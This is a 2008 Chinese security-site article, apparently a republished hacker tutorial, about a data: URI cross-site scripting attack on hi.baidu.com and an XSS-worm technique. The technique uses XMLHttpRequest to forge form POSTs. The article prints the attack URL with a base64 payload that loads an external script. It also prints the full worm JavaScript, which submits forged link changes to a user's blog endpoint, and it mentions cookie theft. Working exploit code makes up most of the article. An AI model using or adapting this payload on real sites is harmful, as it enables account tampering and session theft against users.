通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 > 文章类 > 红客教程 > 网络攻防 > 文章正文
Data URI XSS与验证About XHR POST Form Data
责任编辑:酷酷の鱼   更新日期:2008-7-16
 

superhei的《Data:_URI_scheme》:http://superhei.blogbus.com/logs/23355141.html。

我拿这个做了下实验:http://hi.baidu.com/xss?jump_url=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzEyNy4wLjAuMS9iYWlkdS5qcz48L3NjcmlwdD4NCg==,我要验证两个问题,一个是这样进来的XSS威力有多大;一个是我这里提到的想法http://www.0x37.com/post/34.html(《XSS Worm: About XHR POST Form Data》)。

一、XSS Worm: About XHR POST Form Data:

解密上面URL中的base64值得到:<script src=http://127.0.0.1/baidu.js></script>。其中baidu.js的代码如下:

var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
src="http://hi.baidu.com/ycosxhack/commit";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ct\"\r\n\r\n";
argv_1+=("9"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"cm\"\r\n\r\n";
argv_1+=("1"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkID\"\r\n\r\n";
argv_1+=("11"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkLabel\"\r\n\r\n";
argv_1+=("%B9%AB%B8%E6"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spRefURL\"\r\n\r\n";
argv_1+=("http%3A%2F%2Fhi.baidu.com%2Fycosxhack%2Fmodify%2Fmylink%2F11"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkName\"\r\n\r\n";
argv_1+=("test"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkURL\"\r\n\r\n";
argv_1+=("http://www.0x37.com/"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkIntro\"\r\n\r\n";
argv_1+=("hi~: 0x37.com"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"spMyLinkSign\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
result=_3or7("POST",src,argv_1);
alert(result);
}
//_2();
function _2(){
src="http://hi.baidu.com/ycosxhack/commit";
ct=9;
cm=1;
spMyLinkID=11;
spMyLinkLabel='%B9%AB%B8%E6';
spRefURL='http%3A%2F%2Fhi.baidu.com%2Fycosxhack%2Fmodify%2Fmylink%2F11';
spMyLinkName='test';
spMyLinkURL='http://www.0x37.com/';
spMyLinkIntro='hi~: 0x37 Security:)';
spMyLinkSign='';
_d="ct="+ct+"&cm="+cm+"&spMyLinkID="+spMyLinkID+"&spMyLinkLabel="+spMyLinkLabel+"&spRefURL="+spRefURL+"&spMyLinkName="+spMyLinkName+"&spMyLinkURL="+spMyLinkU

RL+"&spMyLinkIntro="+spMyLinkIntro+"&spMyLinkSign="+spMyLinkSign;
result=postdata(src,_d);
alert(result);
}
function postdata(_s,_a){
try{netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");}catch(e){alert("Permission UniversalBrowserRead denied.");}
    _x.open("POST", _s, false);
    _x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    _x.send(_a);
 return _x.responseText;
}
function _3or7(_m,_s,_a){
try{netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");}catch(e){alert("Permission UniversalBrowserRead denied.");}
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}

_1()函数是multipart/form-data型的表单,而_2()函数是application/x-www-form-urlencoded型的表单(默认)。OK,这次测试发现只有_2()函数执行成功。这就证明了XSS Worm: About XHR POST Form Data的想法。其余的就不多说了。

二、data URI XSS的威力:

不大,盗盗cookie等,如果想用这个来模拟表单的提交过程,就不行了。上面的baidu.js代码在FF下默认是不能执行的。我做这个实验之前先将FF的about:config中的signed.applets.codebase_principal_support设置为true。然后在_x.open之前添加try{netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");}catch(e){alert("Permission UniversalBrowserRead denied.");}。结果测试时会弹出如下对话框:

点击“是”之后,蠕虫代码成功执行。否则的话,会出现如下错误:

这应该是指跨域受限制,权限不足了吧。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司07月17日发布 每日计算机病毒及木马播报
    普通文章 安全杂谈:网游帐号被盗后的解决办法
    普通文章 安全精彩:走出误区 真正黑客是门艺术
    推荐文章 安全杂谈:并非万能的防火墙也有漏洞
    普通文章 安全宝典:小心启动项 保护系统安全
    普通文章 安全策略:深度保护企业敏感数据
    普通文章 解决QQ收不到图片问题的小技巧
    普通文章 简单不求人 轻松让你击破ATA硬盘密码
    普通文章 中国的“黑客辣妹”
    普通文章 生物识别加密应用前景可观
    热门文章
    普通文章“雅虎助手”正式向“360卫士”致歉
    普通文章以奥运名义传播新病毒 正席卷全球
    普通文章散播奥运和天灾谣言 暴风僵尸欲借尸还魂
    普通文章网站安全堪忧 完善检测机制是唯一出路
    普通文章趋势CEO:病毒产业糟糕透顶
    普通文章微点主动防御软件三年磨难后正式上市
    普通文章恶意网站调查:10大网络托管半数恶意网站
    普通文章微软发布3款SQL INJECTION攻击检测工具
    普通文章ICANN主页被黑客篡改
    推荐文章推荐:详解还原系统保护技术原理和攻防
    精彩专题